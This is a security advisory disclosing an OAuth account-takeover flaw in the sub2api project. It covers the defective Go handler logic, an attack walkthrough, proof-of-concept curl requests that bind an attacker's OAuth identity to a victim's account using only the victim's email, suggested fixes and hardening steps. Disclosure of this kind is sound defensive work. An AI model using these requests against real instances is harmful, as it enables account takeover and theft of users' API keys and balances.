## Summary
A critical account-takeover vulnerability exists in sub2api's OAuth …pending-session exchange flow. An attacker who possesses **only the victim's registered email address** can bind their own OAuth identity to the victim's account through the `/auth/oauth/pending/exchange` endpoint, without requiring the victim's password, email verification code, or any user interaction. After binding, every subsequent OAuth login by the attacker is resolved to the victim's account, granting full control over the victim's API keys, billing balance, and subscription quotas.
The root cause is a three-layer defect in `backend/internal/handler/auth_oauth_pending_flow.go`:
1. `ExchangePendingOAuthCompletion` only intercepts the `email_completion` and `bind_login_required` steps, leaving `choose_account_action_required` unguarded.
2. `applyPendingOAuthAdoption` unconditionally calls `applyPendingOAuthBinding` regardless of the adoption decision's content.
3. `shouldBindPendingOAuthIdentity` returns `true` unconditionally when `intent == "login"`, without verifying that the session is in a terminal, verifiable state.
The vulnerability affects all OAuth providers that route through the pending-session flow (linux.do, OIDC, WeChat, DingTalk). GitHub and Google may follow a separate verified-email path that requires additional audit.
## Affected Versions
- **Project**: [Wei-Shaw/sub2api](https://github.com/Wei-Shaw/sub2api)
- **Affected versions**: `<= v0.1.171` (latest release as of disclosure)
- **Fixed version**: None — PR is pending merge at time of writing
## CVSS
**CVSS v3.1 Base Score: 8.8 (High)**
```
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
```
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | Exploited via HTTP API remotely |
| Attack Complexity | Low | Multi-step HTTP request sequence, no race condition |
| Privileges Required | Low | Attacker needs any OAuth account (low registration bar) |
| User Interaction | None | No victim interaction required |
| Scope | Unchanged | Impact confined to sub2api account system |
| Confidentiality | High | Full read of victim's API keys and account data |
| Integrity | High | Attacker can modify account, bind new identities |
| Availability | High | Attacker can drain subscription quotas and disable service |
## Prerequisites
1. Attacker controls any OAuth account on a supported provider (e.g., a freshly registered linux.do account).
2. Attacker knows the victim's registered email address on the sub2api instance. Email addresses are commonly obtainable through:
- Public profile information
- Community channels (chat groups, forums)
- Social engineering
- Prior data leaks
No password, no email verification code, no captcha bypass, and no victim interaction are required.
## Vulnerable Code
### Location
```
backend/internal/handler/auth_oauth_pending_flow.go
```
### Defect A — `ExchangePendingOAuthCompletion` does not intercept all steps
```go
func (h *AuthHandler) ExchangePendingOAuthCompletion(c *gin.Context) {
session := loadPendingSession(c)
step := completionPayload.Step
// ⚠️ Only these two steps are intercepted.
// choose_account_action_required falls through to adoption/binding.
if step == "email_completion" || step == "bind_login_required" {
c.JSON(200, gin.H{"step": step, ...})
return
}
// Unintercepted steps (incl. choose_account_action_required) reach here.
adoptionDecision := parseAdoptionDecision(c)
h.applyPendingOAuthAdoption(ctx, session, adoptionDecision)
// ... issues token pair ...
}
```
### Defect B — `applyPendingOAuthAdoption` always triggers binding
```go
func (h *AuthHandler) applyPendingOAuthAdoption(ctx, session, decision) (...) {
// adopt_display_name / adopt_avatar affect display attributes only,
// they have nothing to do with account ownership. Yet binding still runs.
if decision.AdoptDisplayName || decision.AdoptAvatar {
h.updateUserProfileFields(ctx, session.TargetUserID, decision)
}
// ⚠️ Binding is invoked regardless of the adoption decision.
return h.applyPendingOAuthBinding(ctx, session)
}
func (h *AuthHandler) applyPendingOAuthBinding(ctx, session) (...) {
if h.shouldBindPendingOAuthIdentity(session) {
// Writes attacker's OAuth identity into auth_identities table
// with user_id = session.TargetUserID (i.e., the victim).
h.authService.BindOAuthIdentity(ctx, session.TargetUserID,
session.ProviderType, session.ProviderSubject)
}
}
```
### Defect C — `shouldBindPendingOAuthIdentity` returns true unconditionally for `intent == "login"`
```go
func (h *AuthHandler) shouldBindPendingOAuthIdentity(session) bool {
// ⚠️ No verification that the session is in a terminal, verifiable state.
// No check for canIssueTokenPair or email-verified flag.
if session.Intent == "login" {
return true
}
if session.Intent == "bind_current_user" {
return session.HasCurrentUserCookie
}
return false
}
```
## Attack Scenario
### Step 1 — Attacker initiates OAuth login
The attacker starts a normal OAuth login flow with their own provider account (e.g., linux.do). The callback handler cannot find an existing `auth_identity` for the provider subject, so the session enters the `choose_account_action_required` state, prompting the user to choose between "create new account" or "bind to existing account".
### Step 2 — Attacker submits the victim's email
The attacker calls `POST /auth/oauth/pending/create-account` with:
- `email` = victim's registered email
- `password` = any arbitrary value
- `verify_code` = omitted or empty
Because the submitted email already exists in the `users` table, the handler transitions the pending session to the `choose_account` choice state and sets:
- `TargetUserID` = victim's `user_id`
- `existing_account_bindable` = `true`
**Critically, this path does NOT validate the password, does NOT require an email verification code, and skips the captcha gate when the email already exists.** The system conflates "email exists" with "the submitter owns this email" — a trust-boundary inversion.
### Step 3 — Attacker calls exchange with an adoption decision
The attacker calls `POST /auth/oauth/pending/exchange` with an adoption decision payload:
```json
{
"adopt_display_name": true,
"adopt_avatar": true
}
```
These two boolean fields control only display attributes (nickname / avatar) and have no semantic relationship to account ownership. However, `ExchangePendingOAuthCompletion` does not intercept `choose_account_action_required` (Defect A), so the request falls through to `applyPendingOAuthAdoption` → `applyPendingOAuthBinding` (Defect B), and `shouldBindPendingOAuthIdentity` returns `true` because `intent == "login"` (Defect C).
The attacker's OAuth identity is now persisted in `auth_identities` with `user_id = victim's user_id`.
### Step 4 — Subsequent OAuth login resolves to the victim
On the attacker's next OAuth login with the same provider account, `findOAuthIdentityUser` looks up the `auth_identities` table, finds the entry created in Step 3, and resolves the attacker to the victim's `user_id`. The system issues the victim's access token / refresh token pair to the attacker.
The account takeover is now complete and persistent. The attacker can:
- Read all of the victim's API keys (Claude / OpenAI / Gemini / Grok, etc.)
- Drain billing balance and subscription quotas
- Modify account profile, payment bindings, and password
- If the victim participates in a subscription carpool group, access other members' information
- Impersonate the victim for social-engineering follow-up attacks
## Proof of Concept
> The following is a minimal PoC demonstrating the attack against a local instance. Replace `<victim_email>` with the target's registered email. Run with an authenticated attacker OAuth session cookie from Step 1.
### 1. Trigger OAuth login as the attacker
```
GET /oauth/linuxdo/start
# Complete the OAuth dance on linux.do with the attacker's account.
# Callback lands at /oauth/linuxdo/callback and returns a pending_session_id.
```
### 2. Submit the victim's email to enter the `choose_account_action_required` state
```bash
curl -X POST "https://<instance>/auth/oauth/pending/create-account" \
-H "Content-Type: application/json" \
-H "Cookie: pending_session=<pending_session_id>" \
-d '{
"email": "<victim_email>",
"password": "any_random_value",
"display_name": "attacker"
}'
```
**Expected response** (note the `existing_account_bindable` flag and absence of captcha requirement):
```json
{
"step": "choose_account_action_required",
"existing_account_bindable": true,
"target_user_id": <victim_user_id>
}
```
### 3. Exchange the pending session with an adoption decision to bind the attacker's OAuth identity
```bash
curl -X POST "https://<instance>/auth/oauth/pending/exchange" \
-H "Content-Type: application/json" \
-H "Cookie: pending_session=<pending_session_id>" \
-d '{
"adopt_display_name": true,
"adopt_avatar": true
}'
```
**Expected response** (the attacker now receives the victim's token pair):
```json
{
"access_token": "<victim_access_token>",
"refresh_token": "<victim_refresh_token>",
"user": { "id": <victim_user_id>, "email": "<victim_email>", ... }
}
```
### 4. Verify the takeover
The attacker can now call any authenticated API endpoint with the issued `access_token` and is treated as the victim. Calling `GET /api/user/profile` returns the victim's account details, API keys, and billing state.
## Impact
- **Full account takeover** with no password, no email verification, and no user interaction required.
- **API key disclosure** — all upstream API keys (Claude / OpenAI / Gemini / Grok / Antigravity) bound to the victim's account are exposed.
- **Billing and quota abuse** — attacker can drain prepaid balance and consume subscription quotas.
- **Carpool group collateral damage** — if the victim is in a shared subscription carpool, other members' data and quotas may be affected.
- **Reputation and payment risk** — attacker can post content, send private messages, and modify payment bindings under the victim's identity.
- **Persistence** — the binding survives until manually removed from `auth_identities`; the attacker can re-login at will.
- **Scalability** — the attack can be scripted to enumerate and take over multiple accounts in bulk if email lists are available.
## Root Cause Analysis
The vulnerability arises from three compounding design flaws:
### 1. Non-exhaustive state machine
`ExchangePendingOAuthCompletion` enumerates only a subset of pending-session steps for explicit interception. Any step not in the whitelist (including `choose_account_action_required`) is implicitly treated as "safe to proceed to binding," violating the fail-closed principle.
### 2. Trust-boundary inversion
When the attacker submits the victim's email, the system sets `TargetUserID = victim's user_id` based solely on the email-existing lookup. This conflates a neutral fact ("this email exists in the database") with an authorization claim ("the submitter owns this email"). The correct proof of email ownership — a verification code sent to that email — is bypassed on the `existing_account_bindable` path.
### 3. Intent/permission semantic confusion
`shouldBindPendingOAuthIdentity` treats `intent == "login"` (an anonymous, unverified state) as more permissive than `intent == "bind_current_user"` (a logged-in, cookie-verified state). The function returns `true` unconditionally for `login` intent without checking `canIssueTokenPair` or `HasVerifiedEmail`. This is the opposite of least-privilege — anonymous sessions should be the *most* restricted, not the least.
## Suggested Fix
The fix has three layers, all of which should be applied:
### Fix 1 — Fail-closed in `ExchangePendingOAuthCompletion`
Only execute identity binding when the session is in a terminal, verifiable state OR the request originates from an authenticated `bind_current_user` session. All other states return the payload only and do NOT consume the session.
```go
func (h *AuthHandler) ExchangePendingOAuthCompletion(c *gin.Context) {
session := loadPendingSession(c)
// ✅ Only allow binding in terminal or authenticated-bind states.
if !session.CanIssueTokenPair && session.Intent != "bind_current_user" {
// Non-terminal state — return payload, do NOT bind, do NOT consume.
c.JSON(200, buildCompletionPayload(session))
return
}
if session.Intent == "bind_current_user" && !session.HasCurrentUserCookie {
c.JSON(403, gin.H{"error": "bind_current_user requires login cookie"})
return
}
h.applyPendingOAuthBinding(ctx, session)
c.JSON(200, h.issueTokenPair(session.TargetUserID))
}
```
### Fix 2 — Require email verification on the `choose_account_action_required` path
When the submitted email already exists, force a verification code to be sent to that email and require it on the subsequent exchange. The `existing_account_bindable` shortcut must be removed.
```go
// In create-account handler:
if emailExists {
// Do NOT set existing_account_bindable = true.
// Instead, transition to email_verification_required and send a code.
session.Step = "email_verification_required"
h.authService.SendPendingOAuthVerifyCode(ctx, session, email)
c.JSON(200, gin.H{"step": "email_verification_required"})
return
}
```
### Fix 3 — Tighten `shouldBindPendingOAuthIdentity`
Require both `CanIssueTokenPair` and `HasVerifiedEmail` for `login` intent.
```go
func (h *AuthHandler) shouldBindPendingOAuthIdentity(session) bool {
switch session.Intent {
case "login":
return session.CanIssueTokenPair && session.HasVerifiedEmail
case "bind_current_user":
return session.HasCurrentUserCookie && session.HasVerifiedEmail
}
return false
}
```
## Defense-in-Depth Recommendations
In addition to the core fix, the following hardening measures are recommended to prevent similar issues from recurring:
1. **Single-consume pending sessions** — Add a `consumed` flag to `pending_auth_session`. Once `exchange` succeeds, mark the session as consumed and reject any subsequent `exchange` call with `410 Gone`, preventing replay attacks.
2. **Anomaly alerting** — Alert when a single IP binds OAuth identities to 3+ distinct `user_id`s within 1 hour, which is a strong signal of mass takeover attempts.
3. **Audit other OAuth providers** — GitHub and Google follow the `RegisterVerifiedOAuthEmailAccount` path because they return verified emails. Confirm this path is not reachable from the `choose_account_action_required` state. Also audit WeChat, OIDC, and DingTalk for the same defect class.
4. **Unit-test the state machine** — Add tests covering every `(intent, step)` combination and assert that binding only occurs for the terminal / authenticated-bind cases.
5. **Consider removing `choose_account_action_required` entirely** — The "bind to existing account" UX flow can be replaced with an explicit `bind_current_user` flow that requires the user to first log in with their existing credentials, then visit the profile page to bind a new OAuth identity. This eliminates the anonymous-bind attack surface.
## Timeline
| Date | Event |
|---|---|
| 2026-08-04 | sub2api v0.1.171 released (latest affected version) |
| 2026-08-06 | Vulnerability disclosed via GitHub PR #5345 |
| 2026-08-07 | This advisory published |
## References
- Fix PR: https://github.com/Wei-Shaw/sub2api/pull/5345
- Project repository: https://github.com/Wei-Shaw/sub2api
- Related security PRs:
- #5268 — Turnstile ticket required before OAuth signup submission (merged)
- #5261 — Tencent Tianyu captcha gate for anonymous auth endpoints (closed)
- #5327 — User-agent validation before persisting account fingerprint (open)
- #5200 — Refresh token race prevention across tabs (merged)
## Credits
Reported by independent security researcher. The fix PR was prepared and submitted in parallel with this advisory.
## Disclaimer
This advisory is provided for defensive and remediation purposes only. The proof-of-concept commands are intentionally minimal and require an authenticated attacker session; they should only be executed against instances under the reporter's own control for validation purposes.